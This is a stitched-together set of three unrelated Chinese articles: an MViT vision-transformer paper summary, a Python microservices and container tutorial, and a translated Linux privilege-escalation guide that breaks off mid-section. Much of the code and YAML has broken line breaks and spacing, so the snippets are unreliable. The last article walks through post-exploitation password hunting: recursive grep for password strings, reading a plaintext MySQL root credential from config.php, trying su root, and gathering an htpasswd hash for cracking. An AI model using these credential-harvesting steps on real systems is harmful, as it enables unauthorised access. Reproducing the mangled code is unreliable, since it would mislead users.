2024年7月

论文提出了多尺度视觉
Transformer
模型
MViT
,将多尺度层级特征的基本概念与
Transformer
模型联系起来,在逐层扩展特征复杂度同时降低特征的分辨率。在视频识别和图像分类的任务中,
MViT
均优于单尺度的
ViT

来源:晓飞的算法工程笔记 公众号

论文: Multiscale Vision Transformers

Introduction


论文提出了用于视频和图像识别的多尺度ViT(
MViT
),将
FPN
的多尺度层级特征结构与
Transformer
联系起来。
MViT
包含几个不同分辨率和通道数的
stage
,从小通道的输入分辨率开始,逐层地扩大通道数以及降低分辨率,形成多尺度的特征金字塔。

在视频识别任务上,不使用任何外部预训练数据,
MViT
比视频
Transformer
模型有显着的性能提升。而在
ImageNet
图像分类任务上,简单地删除一些时间相关的通道后,
MViT
比用于图像识别的单尺度ViT的显着增益。

Multiscale Vision Transformer (MViT)


通用多尺度
Transformer
架构的核心在于多
stage
的设计,每个
stage
由多个具有特定分辨率和通道数的
Transformer block
组成。多尺度
Transformers
逐步扩大通道容量,同时逐步池化从输入到输出的分辨率。

Multi Head Pooling Attention

多头池化注意(
MHPA
)是一种自注意操作,可以在
Transformer block
中实现分辨率灵活的建模,使得多尺度
Transformer
可在逐渐变化的分辨率下运行。与通道和分辨率固定的原始多头注意(
MHA
)操作相比,
MHPA
池化通过降低张量的分辨率来缩减输入的整体序列长度。

对于序列长度为
\(L\)

\(D\)
维输入张量
\(X\)

\(X \in \mathbb{R}^{L\times D}\)
,根据
MHA
的定义先通过线性运算将输入
\(X\)
映射为
Query
张量
\(\hat{Q} \in \mathbb{R}^{L\times D}\)

Key
张量
\(\hat{K} \in \mathbb{R}^{L\times D}\)

Value
张量
\(\hat{V} \in \mathbb{R}^{L\times D}\)

然后通过池化操作
\(\mathcal{P}\)
将上述张量缩减到特定长度。

  • Pooling Operator

在进行计算之前,中间张量
\(\hat{Q}\)

\(\hat{K}\)

\(\hat{V}\)
需要经过池化运算
\(\mathcal{P}(·; \Theta)\)
的池化,这是的
MHPA

MViT
的基石。

运算符
\(\mathcal{P}(·; \Theta)\)
沿每个通道对输入张量执行池化核计算。将
\(\Theta\)
分解为
\(\Theta := (k, s, p)\)
,运算符使用维度
\(k\)

\(k_T\times k_H\times k_W\)
、步幅
\(s\)

\(s_T\times s_H \times s_W\)
、填充
\(p\)

\(p_T\times p_H\times p_W\)
的池化核
\(k\)
,将维度为
\(L = T\times H\times W\)
的输入张量减少到
\(\tilde{L}\)

通过坐标公式计算,将池化的张量展开得到输出
\(\mathcal{P}(Y ; \Theta)\in \mathbb{R}^\tilde{L}\times D\)
,序列长度减少为
\(\tilde{L}= \tilde{T}\times \tilde{H}\times \tilde{W}\)

默认情况下,
MPHA
的重叠内核
\(k\)
会选择保持形状的填充值
\(p\)
,因此输出张量
\(\mathcal{P}(Y ; \Theta)\)
的序列长度能够降低
\(\tilde{L}\)
整体减少
\(s_{T}s_{H}s_{W}\)
倍。

  • Pooling Attention.

池化运算符
\(\mathcal{P}(\cdot; \Theta)\)
在所有
\(\hat{Q}\)

\(\hat{K}\)

\(\hat{V}\)
中间张量中是独立的,使用不同的池化核
\(k\)
、不同的步长
\(s\)
以及不同的填充
\(p\)
。定义
\(\theta\)
产生的池化后
pre-attention
向量为
\(Q = P(\hat{Q}; \Theta_Q)\)
,
\(K = P(\hat{K}; \Theta_K)\)

\(V = P(\hat{V}; \Theta_V)\)
,随后在这些向量上进行注意力计算:

根据矩阵乘积可知,上述公式会引入
\(S_K=S_V\)
的约束。总体而言,池化注意力的完整计算如下:

\(\sqrt{d}\)
用于按行归一化内积矩阵。池化注意力计算的输出序列长度的缩减跟
\(\mathcal{P}(\cdot)\)
中的
\(Q\)
向量一样,为步长相关的
\(s^Q_TS^Q_HS^Q_W\)
倍。

  • Multiple heads.

与常规的注意力操作一样,
MHPA
可通过
\(h\)
个头来并行化计算,将
\(D\)
维输入张量
\(X\)
的平均分成
\(h\)
个非重叠子集,分别执行注意力计算。

  • Computational Analysis.

Q

K

V
张量的长度缩减对多尺度
Transformer
模型的基本计算和内存需求具有显着的好处,序列长度缩减可表示为:

考虑到
\(\mathcal{P}(·; \Theta)\)
的输入张量具有通道
\(D\times T\times H\times W\)

MHPA
的每个头的运行时复杂度为
\(O(T HW D/h(D + T HW/f_Q f_K))\)
和内存复杂度为
\(O(T HW h(D/h + T HW/f_Q f_K))\)

另外,通过对通道数
\(D\)
和序列长度项
\(THW/f_Q f_K\)
之间的权衡,可指导架构参数的设计选择,例如头数和层宽。

Multiscale Transformer Networks

  • Preliminaries: Vision Transformer (ViT)

ViT

\(T\times H\times W\)
的输入切分成
\(1\times 16\times 16\)
的不重叠小方块,通过
point-wise
的线性变换映射成
\(D\)
维向量。

随后将
positional embedding
\(E\in \mathbb{R}^{L\times D}\)
添加到长度为
\(L\)
、通道为
\(D\)
的投影序列中,对位置信息进行编码以及打破平移不变性。最后,将可学习的
class embedding
附加到投影序列中。

得到的长度为
\(L + 1\)
的序列由
\(N\)

Transformer block
依次处理,每个
Transformer block
都包含
MHA

MLP

LN
操作。定义
\(X\)
视为输入,单个
Transformer block
的输出
\(Block(X)\)
的计算如下:

\(N\)
个连续
block
处理后的结果序列会被层归一化,随后将
class embedding
提取并通过线性层预测所需的输出。默认情况下,
MLP
的隐藏层通道是
\(4D\)
。另外,需要注意的是,
ViT
在所有块中保持恒定的通道数和空间分辨率。

  • Multiscale Vision Transformers (MViT).

MViT
的关键是逐步提高通道通道以及降低空间分辨率,整体结构如表2所示。

  • Scale stages

每个
scale stage
包含
\(N\)

Transformer block

stage
内的
block
输出相同通道数和分辨率的特征。在网络输入处(表2中的
cube1
),通过三维映射将图像处理为通道数较小(比典型的
ViT
模型小8倍),但长度很长(比典型的
ViT
模型高16倍)图像块序列。


scale stage
之间转移时,需要上采样处理序列的通道数以及下采样处理序列的长度。这样的做法能够有效地降低视觉数据的空间分辨率,使得网络能够在更复杂的特征中理解被处理的信息。

  • Channel expansion


stage
转移时,通过增加最后一个
MLP
层的输出来增加通道数。通道数的增加与空间分辨率的缩减相关,假设空间分倍率下采样4倍,那通道数则增加2倍。这样的设计能够在一定程度上保持
stage
之间的计算复杂度,跟卷积网络的设计理念类似。

  • Query pooling


MPHA
公式可知,
Q
张量可控制输出的序列长度,通过步长为
\(s\equiv (s^Q_T, s^Q_H, s^Q_W)\)

\(\mathcal{P}(Q;k;p;s)\)
池化操作将序列长度缩减
\(s^Q_T\cdot s^Q_H\cdot s^Q_W\)
倍。在每个
stage
中,仅需在开头中减少分辨率,剩余部分均保持分辨率,所以仅设置
stage
的首个
MHPA
操作的步长`
\(S^Q > 1\)
,其余的约束为
\(s^Q\equiv (1,1,1)\)

  • Key-Value pooling


Q
张量不同,改变
K

V
张量的序列长度不会改变输出序列长度,但在降低池化操作的的整体计算复杂度中起着关键作用。

因此,对
K

V

Q
池化的使用进行解耦,
Q
池化用于每个
stage
的第一层,
K

V
池化用于剩余的层。由
MPHA
公式可知,
K

V
张量的序列长度需要相同才能计算注意力权重,因此
K

V
张量池化的步长需要相同。在默认设置中,约束同一
stage
的池化参数
\((k; p; s)\)
为相同,即
\(\Theta_K ≡ \Theta_V\)
,但可自适应地改变
stage
之间的
s
缩放参数。

  • Skip connections

如图3所示,由于通道数和序列长度在
residual block
内发生变化,需要在
skip connection
中添加
\(\mathcal{P}(\cdot; {\Theta}_{Q})\)
池化来适应其两端之间的通道不匹配。

同样地,为了处理
stage
之间的通道数不匹配,采用一个额外的线性层对
MHPA
操作的
layer-normalized
输出进行升维处理。

Network instantiation details

表3展示了
ViT

MViT
的基本模型的具体结构:

  • ViT-Base
    (表 3a):将输入映射成尺寸为
    \(1\times 16\times 16\)
    且通道为
    \(D = 768\)
    的不重叠图像块,然后使用
    \(N = 12\)

    Transformer block
    进行处理。对于
    \(8\times 224\times 224\)
    的输入,所有层的分辨率固定为
    \(768\times 8\times 14\times 14\)
    ,序列长度为
    \(8\times 14\times 14 + 1=1569\)
  • MViT-Base
    (表 3b):由4个
    scale stage
    组成,每个
    stage
    都有几个输出尺寸一致的
    Transformer block

    MViT-B
    通过形状为
    \(3\times 7\times 7\)
    的立方体(类似卷积操作)将输入映射且通道为
    \(D = 96\)
    的重叠图像块序列,序列长度为
    \(8\times 56\times 56 + 1 = 25089\)
    。该序列每经过一个
    stage
    ,序列长度都会减少4倍,最终输出的序列长度为
    \(8\times 7\times 7 + 1 = 393\)
    。同时,通道数也会被上采样2倍,最终增加到768。需要注意,所有池化操作以及分辨率下采样仅在数据序列上执行,不涉及
    class token embedding


scale1 stage

MHPA
的头数量设置为
\(h = 1\)
,随着通道数增加头数量(保持
\(D/h=96\)
)。在
stage
转移时,通过
MLP
前一
stage
的输出通道增加2倍,并且在下一
stage
开头对
Q
执行
MHPA
池化,其中
\(s^{Q} = (1, 2, 2)\)


MHPA block
中使用
\(\Theta_K \equiv \Theta_V\)

K

V
池化,其中,
scale1
的步长为
\(s^{K}=(1,8,8)\)
。步长随着
stage
的分辨率缩小而减少,使得
K

V

block
间保持恒定的缩放比例。

Experiments


Video Recognition

在五个视频识别数据集上的主要结果对比,
MViT
均有不错的性能提升。

Image Recognition


在ImageNet上对比图像分类效果。

Conclusion


论文提出了多尺度视觉
Transformer
模型
MViT
,将多尺度层级特征的基本概念与
Transformer
模型联系起来,在逐层扩展特征复杂度同时降低特征的分辨率。在视频识别和图像分类的任务中,
MViT
均优于单尺度的
ViT



如果本文对你有帮助,麻烦点个赞或在看呗~
更多内容请关注 微信公众号【晓飞的算法工程笔记】

work-life balance.

本文分享自华为云社区
《Python微服务与容器化实践详解【从基础到高级应用】》
,作者: 柠檬味拥抱。

Python中的容器化和微服务架构实践

在现代软件开发中,容器化和微服务架构已经成为主流。容器化技术使得应用程序可以在任何环境中一致运行,而微服务架构通过将应用拆分成多个独立的服务,从而提升了系统的可扩展性和维护性。本文将介绍如何在Python中实践容器化和微服务架构,并提供相关代码实例。

一、容器化概述

容器化技术主要依赖于Docker。Docker通过将应用及其依赖打包在一个独立的环境中,确保应用在不同环境中的一致性。以下是一个简单的Python应用Docker化的例子。

1.1 创建Python应用

首先,我们创建一个简单的Flask应用。

# app.pyfromflask import Flask

app
=Flask(__name__)

@app.route(
'/')
def hello_world():
return 'Hello, Docker!' if __name__ == '__main__':
app.run(host
='0.0.0.0', port=5000)

1.2 创建Dockerfile

接下来,我们创建一个Dockerfile来定义这个应用的容器。

# 使用官方Python基础镜像
FROM python:
3.9-slim

# 设置工作目录
WORKDIR
/app

# 复制当前目录内容到工作目录
COPY .
/app

# 安装依赖
RUN pip install flask

# 暴露应用端口
EXPOSE
5000# 运行应用
CMD [
"python", "app.py"]

1.3 构建和运行容器

构建Docker镜像:

docker build -t python-flask-app .

运行容器:

docker run -d -p 5000:5000 python-flask-app

现在,可以在浏览器中访问
http://localhost:5000
,你将看到"Hello, Docker!"。

二、微服务架构概述

微服务架构将一个单体应用拆分为多个独立的服务,每个服务负责特定的功能。这些服务通过HTTP或消息队列进行通信。以下示例展示了如何使用Flask构建简单的微服务架构。

2.1 用户服务

# user_service.pyfromflask import Flask, jsonify

app
=Flask(__name__)

@app.route(
'/users')
def get_users():
users
=[
{
'id': 1, 'name': 'Alice'},
{
'id': 2, 'name': 'Bob'}
]
returnjsonify(users)if __name__ == '__main__':
app.run(host
='0.0.0.0', port=5001)

2.2 订单服务

# order_service.pyfromflask import Flask, jsonify

app
=Flask(__name__)

@app.route(
'/orders')
def get_orders():
orders
=[
{
'id': 1, 'item': 'Laptop', 'price': 1200},
{
'id': 2, 'item': 'Phone', 'price': 800}
]
returnjsonify(orders)if __name__ == '__main__':
app.run(host
='0.0.0.0', port=5002)

2.3 创建Docker Compose文件

为了管理多个容器,我们使用Docker Compose。

# docker-compose.yml
version:
'3'services:
user
-service:
build:
context: .
dockerfile: Dockerfile
-user
ports:
- "5001:5001"order-service:
build:
context: .
dockerfile: Dockerfile
-order
ports:
- "5002:5002"

2.4 构建和启动服务

构建并启动服务:

docker-compose up --build

现在,用户服务和订单服务分别运行在
http://localhost:5001/users

http://localhost:5002/orders

三、服务间通信

在微服务架构中,服务之间的通信通常通过HTTP或消息队列进行。以下示例展示了如何使用HTTP通信。

3.1 API网关

创建一个API网关来整合用户服务和订单服务。

# api_gateway.pyfromflask import Flask, jsonify
import requests

app
=Flask(__name__)

@app.route(
'/users')
def get_users():
response
= requests.get('http://user-service:5001/users')returnjsonify(response.json())

@app.route(
'/orders')
def get_orders():
response
= requests.get('http://order-service:5002/orders')returnjsonify(response.json())if __name__ == '__main__':
app.run(host
='0.0.0.0', port=5000)

3.2 更新Docker Compose文件

将API网关添加到Docker Compose文件中。

version: '3'services:
user
-service:
build:
context: .
dockerfile: Dockerfile
-user
ports:
- "5001:5001"order-service:
build:
context: .
dockerfile: Dockerfile
-order
ports:
- "5002:5002"api-gateway:
build:
context: .
dockerfile: Dockerfile
-gateway
ports:
- "5000:5000"

现在,可以通过API网关访问用户服务和订单服务:

  • 用户服务:
    http://localhost:5000/users
  • 订单服务:
    http://localhost:5000/orders

四、服务发现与负载均衡

在微服务架构中,服务发现和负载均衡是关键组件。服务发现用于跟踪运行中的服务实例,负载均衡则在多个服务实例之间分发请求。以下示例展示了如何在Python微服务架构中实现服务发现和负载均衡。

4.1 使用Consul进行服务发现

Consul是一个流行的服务发现和配置工具。我们将使用Consul来注册和发现我们的服务。

首先,启动Consul代理:

docker run -d --name=consul -p 8500:8500 consul

4.2 注册服务

我们需要在每个服务启动时将其注册到Consul。可以使用Python的
requests
库进行注册。


user_service.py
中添加注册逻辑:

# user_service.py
import requests
fromflask import Flask, jsonify

app
=Flask(__name__)

@app.route(
'/users')
def get_users():
users
=[
{
'id': 1, 'name': 'Alice'},
{
'id': 2, 'name': 'Bob'}
]
returnjsonify(users)

def register_service():
payload
={"ID": "user-service","Name": "user-service","Address": "user-service","Port": 5001}
requests.put(
'http://consul:8500/v1/agent/service/register', json=payload)if __name__ == '__main__':
register_service()
app.run(host
='0.0.0.0', port=5001)


order_service.py
中添加注册逻辑:

# order_service.py
import requests
fromflask import Flask, jsonify

app
=Flask(__name__)

@app.route(
'/orders')
def get_orders():
orders
=[
{
'id': 1, 'item': 'Laptop', 'price': 1200},
{
'id': 2, 'item': 'Phone', 'price': 800}
]
returnjsonify(orders)

def register_service():
payload
={"ID": "order-service","Name": "order-service","Address": "order-service","Port": 5002}
requests.put(
'http://consul:8500/v1/agent/service/register', json=payload)if __name__ == '__main__':
register_service()
app.run(host
='0.0.0.0', port=5002)

4.3 更新Docker Compose文件

更新Docker Compose文件以包含Consul服务,并确保其他服务可以访问Consul。

version: '3'services:
consul:
image: consul
ports:
- "8500:8500"user-service:
build:
context: .
dockerfile: Dockerfile
-user
depends_on:
-consul
environment:
- CONSUL_HTTP_ADDR=consul:8500ports:- "5001:5001"order-service:
build:
context: .
dockerfile: Dockerfile
-order
depends_on:
-consul
environment:
- CONSUL_HTTP_ADDR=consul:8500ports:- "5002:5002"api-gateway:
build:
context: .
dockerfile: Dockerfile
-gateway
depends_on:
-consul- user-service- order-service
environment:
- CONSUL_HTTP_ADDR=consul:8500ports:- "5000:5000"

4.4 实现负载均衡

为了实现负载均衡,可以使用Traefik,它是一个现代的HTTP反向代理和负载均衡器。

首先,添加Traefik到Docker Compose文件中:

version: '3'services:
consul:
image: consul
ports:
- "8500:8500"traefik:
image: traefik:v2.
5command:- "--api.insecure=true" - "--providers.consulcatalog=true" - "--entrypoints.web.address=:80"ports:- "80:80" - "8080:8080"depends_on:-consul
environment:
- CONSUL_HTTP_ADDR=consul:8500networks:-web
user
-service:
build:
context: .
dockerfile: Dockerfile
-user
labels:
- "traefik.enable=true" - "traefik.http.routers.user-service.rule=Host(`user-service.local`)" - "traefik.http.services.user-service.loadbalancer.server.port=5001"depends_on:-consul
environment:
- CONSUL_HTTP_ADDR=consul:8500ports:- "5001:5001"networks:-web
order
-service:
build:
context: .
dockerfile: Dockerfile
-order
labels:
- "traefik.enable=true" - "traefik.http.routers.order-service.rule=Host(`order-service.local`)" - "traefik.http.services.order-service.loadbalancer.server.port=5002"depends_on:-consul
environment:
- CONSUL_HTTP_ADDR=consul:8500ports:- "5002:5002"networks:-web
api
-gateway:
build:
context: .
dockerfile: Dockerfile
-gateway
depends_on:
-consul- user-service- order-service
environment:
- CONSUL_HTTP_ADDR=consul:8500ports:- "5000:5000"networks:-web

networks:
web:
external:
true

现在,Traefik将自动从Consul获取服务信息并执行负载均衡。访问
http://user-service.local

http://order-service.local
将通过Traefik进行请求分发。

五、日志管理和监控

在微服务架构中,日志管理和监控是确保系统健康和排查问题的重要手段。以下示例展示了如何在Python微服务架构中实现日志管理和监控。

5.1 集成ELK Stack

ELK(Elasticsearch、Logstash、Kibana)是一个流行的日志管理解决方案。我们将使用ELK Stack来收集和分析日志。

首先,添加ELK服务到Docker Compose文件中:

version: '3'services:
elasticsearch:
image: docker.elastic.co
/elasticsearch/elasticsearch:7.13.3environment:- discovery.type=single-node
ports:
- "9200:9200" - "9300:9300"logstash:
image: docker.elastic.co
/logstash/logstash:7.13.3volumes:- ./logstash.conf:/usr/share/logstash/pipeline/logstash.conf
ports:
- "5044:5044"kibana:
image: docker.elastic.co
/kibana/kibana:7.13.3ports:- "5601:5601"

5.2 配置Logstash

创建
logstash.conf
文件来配置Logstash:

input {
file {
path
=> "/var/log/*.log"start_position=> "beginning"}
}

output {
elasticsearch {
hosts
=> ["elasticsearch:9200"]
}
}

5.3 集成Python日志

在Python应用中集成日志库(如
logging
)并将日志发送到Logstash。


user_service.py

order_service.py
中添加日志配置:

import logging

logging.basicConfig(filename
='/var/log/user_service.log', level=logging.INFO)
logger
=logging.getLogger(__name__)

@app.route(
'/users')
def get_users():
users
=[
{
'id': 1, 'name': 'Alice'},
{
'id': 2, 'name': 'Bob'}
]
logger.info(
'Fetched users: %s', users)return jsonify(users)
import logging

logging.basicConfig(filename
='/var/log/order_service.log', level=logging.INFO)
logger
=logging.getLogger(__name__)

@app.route(
'/orders')
def get_orders():
orders
=[
{
'id': 1, 'item': 'Laptop', 'price': 1200},
{
'id': 2, 'item': 'Phone', 'price': 800}
]
logger.info(
'Fetched orders: %s', orders)return jsonify(orders)

5.4 监控

可以使用Prometheus和Grafana进行系统监控。

首先,添加Prometheus和Grafana到Docker Compose文件中:

version: '3'services:
prometheus:
image: prom
/prometheus
volumes:
- ./prometheus.yml:/etc/prometheus/prometheus.yml
ports:
- "9090:9090"grafana:
image: grafana
/grafana
ports:
- "3000:3000"

创建
prometheus.yml
文件配置Prometheus:

global:
scrape_interval: 15s

scrape_configs:
- job_name: 'flask'static_configs:- targets: ['user-service:5001', 'order-service:5002']

六、持续集成与持续部署(CI/CD)

持续集成和持续部署(CI/CD)是现代软件开发流程的重要组成部分。通过自动化的构建、测试和部署流程,CI/CD能够显著提升开发效率和软件质量。以下是如何在Python微服务架构中实现CI/CD的示例。

6.1 使用GitHub Actions进行CI/CD

GitHub Actions是GitHub提供的CI/CD平台,可以轻松集成到GitHub仓库中。我们将使用GitHub Actions来自动化构建和部署流程。

首先,在项目根目录下创建一个
.github/workflows
目录,并在其中创建一个CI/CD配置文件
ci_cd.yml

# .github/workflows/ci_cd.yml
name: CI
/CD Pipeline

on:
push:
branches:
-main

jobs:
build:
runs
-on: ubuntu-latest

steps:
-name: Checkout code
uses: actions
/checkout@v2-name: Set up Docker Buildx
uses: docker
/setup-buildx-action@v1-name: Build and push Docker images
uses: docker
/build-push-action@v2
with:
push:
truetags:|user-service:latest
order
-service:latest
api
-gateway:latest-name: Deploy to Docker Hub
env:
DOCKER_HUB_USERNAME: ${{ secrets.DOCKER_HUB_USERNAME }}
DOCKER_HUB_PASSWORD: ${{ secrets.DOCKER_HUB_PASSWORD }}
run:
|echo $DOCKER_HUB_PASSWORD| docker login -u $DOCKER_HUB_USERNAME --password-stdin
docker push user
-service:latest
docker push order
-service:latest
docker push api
-gateway:latest

6.2 配置环境变量和Secrets

为了确保安全性,我们使用GitHub Secrets存储敏感信息,例如Docker Hub的凭据。在GitHub仓库中,进入Settings > Secrets and variables > Actions,添加以下Secrets:

  • DOCKER_HUB_USERNAME
  • DOCKER_HUB_PASSWORD

6.3 部署到Kubernetes

在微服务架构中,Kubernetes是一个流行的容器编排平台。我们将使用Kubernetes部署我们的微服务。

首先,创建Kubernetes配置文件。

# k8s/user-service.yaml
apiVersion: apps
/v1
kind: Deployment
metadata:
name: user
-service
spec:
replicas:
2selector:
matchLabels:
app: user
-service
template:
metadata:
labels:
app: user
-service
spec:
containers:
- name: user-service
image: user
-service:latest
ports:
- containerPort: 5001 ---apiVersion: v1
kind: Service
metadata:
name: user
-service
spec:
selector:
app: user
-service
ports:
-protocol: TCP
port:
80targetPort:5001
# k8s/order-service.yaml
apiVersion: apps
/v1
kind: Deployment
metadata:
name: order
-service
spec:
replicas:
2selector:
matchLabels:
app: order
-service
template:
metadata:
labels:
app: order
-service
spec:
containers:
- name: order-service
image: order
-service:latest
ports:
- containerPort: 5002 ---apiVersion: v1
kind: Service
metadata:
name: order
-service
spec:
selector:
app: order
-service
ports:
-protocol: TCP
port:
80targetPort:5002
# k8s/api-gateway.yaml
apiVersion: apps
/v1
kind: Deployment
metadata:
name: api
-gateway
spec:
replicas:
2selector:
matchLabels:
app: api
-gateway
template:
metadata:
labels:
app: api
-gateway
spec:
containers:
- name: api-gateway
image: api
-gateway:latest
ports:
- containerPort: 5000 ---apiVersion: v1
kind: Service
metadata:
name: api
-gateway
spec:
selector:
app: api
-gateway
ports:
-protocol: TCP
port:
80targetPort:5000

6.4 使用kubectl部署

确保Kubernetes集群已经配置好,并且
kubectl
工具可以访问集群。执行以下命令将服务部署到Kubernetes:

kubectl apply -f k8s/user-service.yaml
kubectl apply
-f k8s/order-service.yaml
kubectl apply
-f k8s/api-gateway.yaml

6.5 自动化部署

在GitHub Actions配置中添加步骤,以在推送到主分支时自动部署到Kubernetes。

-name: Set up K8s
uses: azure
/setup-kubectl@v1
with:
version:
'v1.18.0' -name: Deploy to Kubernetes
run:
|kubectl apply-f k8s/user-service.yaml
kubectl apply
-f k8s/order-service.yaml
kubectl apply
-f k8s/api-gateway.yaml

七、故障排除和调试

在微服务架构中,故障排除和调试是非常重要的。我们可以通过日志管理、分布式追踪和调试工具来实现。

7.1 使用Elastic Stack进行日志管理

我们之前已经集成了Elastic Stack进行日志管理。通过Kibana,我们可以方便地查看和分析日志。

7.2 使用Jaeger进行分布式追踪

Jaeger是一个开源的端到端分布式追踪工具。它可以帮助我们追踪请求在各个服务中的流转情况,方便排查性能瓶颈和故障点。

首先,添加Jaeger到Docker Compose文件中:

version: '3'services:
jaeger:
image: jaegertracing
/all-in-one:1.21ports:- "6831:6831/udp" - "16686:16686"

在Python应用中集成Jaeger Client:

fromjaeger_client import Config

def init_tracer(service):
config
=Config(
config
={'sampler': {'type': 'const', 'param': 1},'logging': True,
},
service_name
=service,
validate
=True,
)
returnconfig.initialize_tracer()

tracer
= init_tracer('user-service')

通过这种方式,我们可以在Kibana中查看日志,在Jaeger中追踪请求,轻松定位问题。

八、总结

通过本文的深入分析和实践示例,我们详细介绍了如何在Python中实现容器化和微服务架构。从基础的Docker和Flask入门,到使用Consul进行服务发现、Traefik进行负载均衡,再到Elastic Stack日志管理和Jaeger分布式追踪,涵盖了微服务架构的各个关键环节。通过这些实践,开发者可以构建出高可用、高扩展性的微服务系统,提升开发效率和软件质量。

点击关注,第一时间了解华为云新鲜技术~

本文通过 Google 翻译
Password Hunting – Linux Privilege Escalation
这篇文章所产生,本人仅是对机器翻译中部分表达别扭的字词进行了校正及个别注释补充。


导航


0、前言

在这篇文章中,我们将探讨在目标 Linux 机器上搜寻密码的技巧,以此作为横向或纵向提升权限的一种手段。我们将回顾各种搜寻密码的技术,以及密码存储的一些常见位置。在搜寻过程中,我们将在脚本、配置文件、文件名、哈希值中发现凭证!

用户甚至管理员(root)重复使用他们的密码或将他们的密码留在系统可读的位置是很常见的。

除了系统中随处可见的密码,我们还可以在很多地方找到密码哈希或受密码保护且需要破解的文件。因此,本文将使用
Hashcat

John
进行大量破解。

当您在系统上发现任何密码时,无论是在初始利用阶段还是后利用阶段,您都必须尽可能地测试该密码!此外,请根据找到的所有用户名测试找到的所有密码,因为密码重复使用是一个大问题,而且非常常见!

在所有这些示例中,我们都将使用手动技术来查找密码和哈希值。不过,在文章的最后,我们还将看到工具(LinPEAS)在搜寻方面的表现。

我们将在这篇文章中介绍很多内容,让我们直接进入主题吧!

首先,假设我们已找到凭证并以标准用户
cain
的身份在目标 Linux 机器上站稳了脚跟。

1、密码搜寻 – 文件名和文件内容

在寻找密码时,我们首先要做的一件事就是进行高级搜索,查找文件名中包含 “password” 的文件。除了文件名之外,我们还应该查找文件中的字符串 “password”。

1.1、寻找有趣的文件名

在查找文件系统中文件的 "password" 字符串之前,我们应该先查找包含 "password" 的文件名。此外,我们还应该查找包含我们能想到的任何其他有趣字符串的文件名(config、php 等)。

我们可以使用一些命令来执行此类搜索。

首先,我们可以使用以下 find 命令:

find / -exec ls -lad $PWD/* "{}" 2>/dev/null \; | grep -i -I "passw\|pwd"

上述搜索将非常冗长,需要一些时间才能完成,因为它会检查整个文件系统中是否存在包含字符串 “passw” 或 “pwd” 的文件名。此搜索的好处是 “passw” 涵盖了 passw、passwd 和 password;而 “pwd” 是 password 一词的另一种常见解释。

我们还可以使用另一个命令来梳理整个文件系统以查找名称中包含特定字符串的文件,即
locate
命令。

locate 'passw'
locate 'pwd'
locate '*.php'

关于 locate 命令最棒的地方在于它运行速度非常快,这使得我们可以在短时间内使用关键字搜索各种不同的文件名/文件类型。

这两种在搜索名称中包含特定字符串文件的方法都会产生大量结果,但如果我们花点时间查看输出结果,可能会发现一些 JUICY 文件(即包含密码的文件)。

1.2、寻找有趣的字符串

我们可以很好地利用
grep
命令来在整个文件系统中搜索包含字符串 “passw” 和 “pwd” 的文件;但是,它也会产生大量结果。

grep --color=auto -rnw '/' -iIe "PASSW\|PASSWD\|PASSWORD\|PWD" --color=always 2>/dev/null

这种搜索会用红色显示字符串,用紫色显示完整的文件路径,以及显示在文件中找到该字符串的行号。这种搜索的唯一问题是输出量太大,要解析这些内容需要相当长的时间,所以最好还是执行更精细、更有针对性的搜索。

为了更加精细,我们可以导航到感兴趣的目录,然后运行与上面相同的命令。但这一次,我们将去掉 "/",这样它就只递归搜索当前目录中的文件。

例如,我们可以导航到通常能找到有趣文件的常用文件夹,如
/var/www、/tmp、/opt、/home
等,然后执行以下命令:

grep --color=auto -rnw -iIe "PASSW\|PASSWD\|PASSWORD\|PWD" --color=always 2>/dev/null

通过上述方法,我们能够大大减少结果并快速在
config.php
文件中找到了密码。

2、密码搜寻 – Web 文件/Config 文件

我们通常会在 webroot 目录中找到凭证(通常是连接 MySQL 数据库的帐户密码)。一般情况下,webroot 目录总是位于 /var/www,其中还包含我们在获得立足点之前使用 gobuster 或 dirb 等工具对子目录进行模糊测试时找到的网页。

通常,我们主要寻找 PHP 配置文件。然而,我们也可以在许多其他可能的文件类型中找到凭据,例如 TXT 文件、bash 脚本、其他脚本、ZIP 文件、其他压缩文件类型(tar、gz 等)、DB 文件等。

2.1、Config 文件中的密码

导航到
/var/www/
我们可以看到这里有几个文件,但最引人注目的是 “config.php”。

请注意,您不会总能找到 “config.php” ,但只需确保查看所有 PHP 文件即可。因为它可能是 db.php、config.php、pwd.php,甚至是随机文件。

检查 config.php 文件的内容,我们可以看到该文件用于以 root 用户身份访问 MySQL 数据库,文件中还显示了明文用户名和密码!

root:SuperS3cureP@ssw0rd

Amazing!现在,我们应该能够使用这些凭据以 “root” 数据库用户身份进入 MySQL 数据库。但是,并不意味着该凭据也是 shell 的 root 凭据(但也不排除这种可能)! 因此,进行
su root
测试尝试是一个好主意。如果我们真的很幸运,我们将切换用户并进入 root shell。

测试中我们发现认证失败了,这说明该密码并不是 root 帐户的密码。

但是,当我们尝试使用这些凭据访问 MySQL 数据库时,我们能够顺利进入!

mysql -u root -p

在这里,我们可以枚举数据库以获取更多密码哈希值(稍后详述),甚至可以设置 UDF 漏洞并提升到 root。

如果您想了解如何通过使用 UDF 漏洞利用 MySQL 数据库来提升权限,请查看我关于此主题的
帖子

2.2、Web 文件中的密码

如前所述,我们可以在 webroot 中找到许多文件来查找凭据。其中一个文件用于存储 WebDav 服务器的凭据。

WebDav 是一个供用户在服务器上创建、更改和移动文档的框架。

WebDav 密码是哈希值,使用名为
htpasswd
的工具生成。凭证将提供对 WebDav 服务器的访问权限,通常位于网站后台,以允许文件上传等。

攻击此服务通常是使用名为
cadaver
的工具在外部完成的,该工具用于上传恶意 PHP 文件协助获取 shell。通过恶意 PHP 获取到的 Shell 的身份通常是 www-data,但也可能是标准用户,甚至是 root。

尽管攻击该服务通常是为了在目标上获得立足点,但由于它使用密码文件,因此也可帮助权限提升。

继续在 webroot 中搜索,我们在 /var/www/htmp/web/webdav 目录中找到一个一个名为
passwd.dav
的有趣文件

使用 htpasswd 生成的密码文件没有指定的扩展名。因此,使用 WebDav 凭据生成的文件可以具有任何扩展名,甚至根本没有扩展名。我见过:*.password / *.dav / *.pwd 等。

打开文件,我们可以看到有一个以以下内容开头的密码哈希:
$apr1$ — 一个专门针对 Apache 而修改的 MD5 版本

我们可以看到哈希值属于
devops
用户,检查 /etc/passwd 文件,我们可以确定该账户在系统上是有效用户!

有了这些信息,我们就应该考虑破解这个哈希值,因为它可能与用户的实际密码相同,并允许我们登入 devops 用户。不过,即使 /etc/passwd 中不存在 devops 用户,我们仍应尝试破解该密码,并将其添加到密码列表中,以便在其他可能的地方进行测试尝试。

2.2.1、使用 Hashcat 破解密码

